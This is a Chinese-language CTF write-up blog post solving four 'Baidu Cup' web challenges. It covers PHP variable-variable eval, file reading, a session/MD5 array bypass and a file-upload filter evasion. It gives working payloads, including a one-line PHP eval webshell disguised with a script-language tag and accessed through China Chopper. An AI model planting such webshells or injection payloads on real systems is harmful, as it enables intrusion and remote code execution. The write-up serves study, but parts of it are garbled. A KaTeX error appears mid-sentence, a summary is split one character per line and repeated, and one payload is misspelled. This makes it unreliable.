CTF WP记录 ---web
说明:本人网安小白,单纯的想记录通过CTF来巩固自己所学的知识,见证自己的成长
flag:一周四篇,不定期更新,从零开始,前期尽量解释清楚涉及到的所有知识点。
第一题:“百度杯”CTF比赛 2017 二月场 **-1
-
List item
打开题目连接直接显示了一段代码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
代码大致意思分析:
include获取指定文件flag.php存在的所有文本,代码,标记,使用
使用变量获取hello值,赋值给$a 。
对a做一个正则匹配,a要在[A-Za-z0-9]并进行多次匹配。
执行函数eval ,输出$$a的类型与值
通过代码分析可知,最后需要输出KaTeX parse error: Can't use function '$' in math mode at position 7: a,而只给了$̲a赋值,由此想到全局变量传参给a。所以可构造payload
http://8c2dfa1f3da84918a42ecb2149dc72ffc161998988314ec0.changame.ichunqiu.com/?hello=GLOBALS
知识点总结
1,
r
e
q
u
e
s
t
变
量
是
可
以
接
收
H
T
M
L
表
单
数
据
(
g
e
t
传
参
和
p
o
s
t
两
种
方
式
的
)
@
是
用
来
屏
蔽
错
误
信
息
,
当
函
数
不
存
在
或
者
包
含
文
件
不
存
在
时
不
会
显
示
错
误
的
信
息
2
,
e
v
a
l
(
)
函
数
把
字
符
串
按
照
P
H
P
代
码
来
计
算
。
该
字
符
串
必
须
是
合
法
的
P
H
P
代
码
,
且
必
须
以
分
号
结
尾
。
3
,
s
h
o
w
s
o
u
r
c
e
(
)
函
数
对
文
件
进
行
语
法
高
亮
显
示
。
4
,
v
a
r
d
u
m
p
:
输
出
变
量
_request变量是可以接收HTML表单数据(get传参和post两种方式的) @是用来屏蔽错误信息,当函数不存在或者包含文件不存在时不会显示错误的信息 2,eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3,show_source() 函数 对文件进行语法高亮显示。 4,var_dump:输出变量
request变量是可以接收HTML表单数据(get传参和post两种方式的)@是用来屏蔽错误信息,当函数不存在或者包含文件不存在时不会显示错误的信息2,eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,且必须以分号结尾。3,showsource()函数对文件进行语法高亮显示。4,vardump:输出变量hello=$$a的类型与值。
5,[正则表达式-元字符]https://www.runoob.com/regexp/regexp-metachar.html
第二题:“百度杯”CTF比赛 2017 二月场 **-2
首先打开链接看到和第一题一样的代码,题目提示flag没有在变量中,代码里面除了变量就只有flag.php文件了。所以解题思路很清晰:读取flag.php文件
构造payload:146dfc71df0743e29616ad802aba4b9aea6408916d874ba8.changame.ichunqiu.com/?hello=file_get_contens(“flag.php”)
查看源代码找到payload的进行提交
知识点掌握:文件的读取函数
file(“path”) :将整个文件读入到一个数组中
file_get_contents(“path(必读取的文件名)”):将整个文件读入到一个字符串中首选办法,若系统支持,还能使用内存映射技术增强性能
(二者类似,可自行操作查看其中的差别)
第三题:“百度杯”CTF比赛 2017 二月场 **-3
打开链接看到如下代码
<?php
error_reporting(0);//关闭错误报告
session_start();//启用session新会话 或者重用现有会话
require('./flag.php');//获取./flag.php文件
if(!isset($_SESSION['nums'])){//isset检测变量是否设置,nums 变量 $_session用户会话保存变量nums
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){//会话时间不要超过120秒,否则摧毁会话
session_destroy();
}
$value = $_REQUEST['value'];//将value会话赋值给$_value变量
$str_rand = range('a', 'z');//str_rand在a-z范围
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//两个value值都在26个字母范围内
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){//返回MD5加密的部分,MD5不能处理数组所以就传数组
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){//会话次数大于等于10 则输出flag
echo $flag;
}
show_source(__FILE__);
?>
通过代码审计;发现在120秒内传入数组value[0]value[1]的值,其值在a-z之间,传入次数大于10,就可以获得flag
知识点收纳总结:
error_reporting()显示错误报告的等级
MD5不会处理数组
session_start() :使用基于cookie值都需要调用session_start()函数,告知服务器启用session会话。用于开启一段新的会话或者重用会话
require与include的区别:
require 这个函数通常放在 PHP 程序的最前面,PHP 程序在执行前,就会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。常用的函数,亦可以这个方法将它引入网页中。
include 这个函数一般是放在流程控制的处理部分中。PHP 程序网页在读到 include 的文件时,才将它读进来。这种方式,可以把程序执行时的流程简单化。
他们两个的用途是完全一样的,不一定非得哪个放在最前面哪个放在中间。他们最根本的区别在于错误处理的方式不一样。
require一个文件存在错误的话,那么程序就会中断执行了,并显示致命错误
include一个文件存在错误的话,那么程序不会中端,而是继续执行,并显示一个警告错误。
**
第四题:“百度杯”CTF比赛 九月场 upload 打开链接,文件上传
**
方法一:
第一反应就是构造一句话,直接上菜刀拿flag
上传<?php @eval($_post['cmd']);?> 查看源码发现<? php 被过滤了
百度之后发现php还有其他的的方式:
1,
2,
<? echo "ciegi"; ?>3,
<%
echo “jdigaog”;
%>
4,<script language = “php”?>
echo “joigjo”;
上传</script language = “pHP”>@eval($_POST[‘cmd’])
连接菜刀,访问此文件的上一层目录,可以找到flag.php问价找到flag
方法二:
利用文件读取函数直接读取flag
上一篇: 运行npm run dev时,报错解决
下一篇: package.json文件说明解释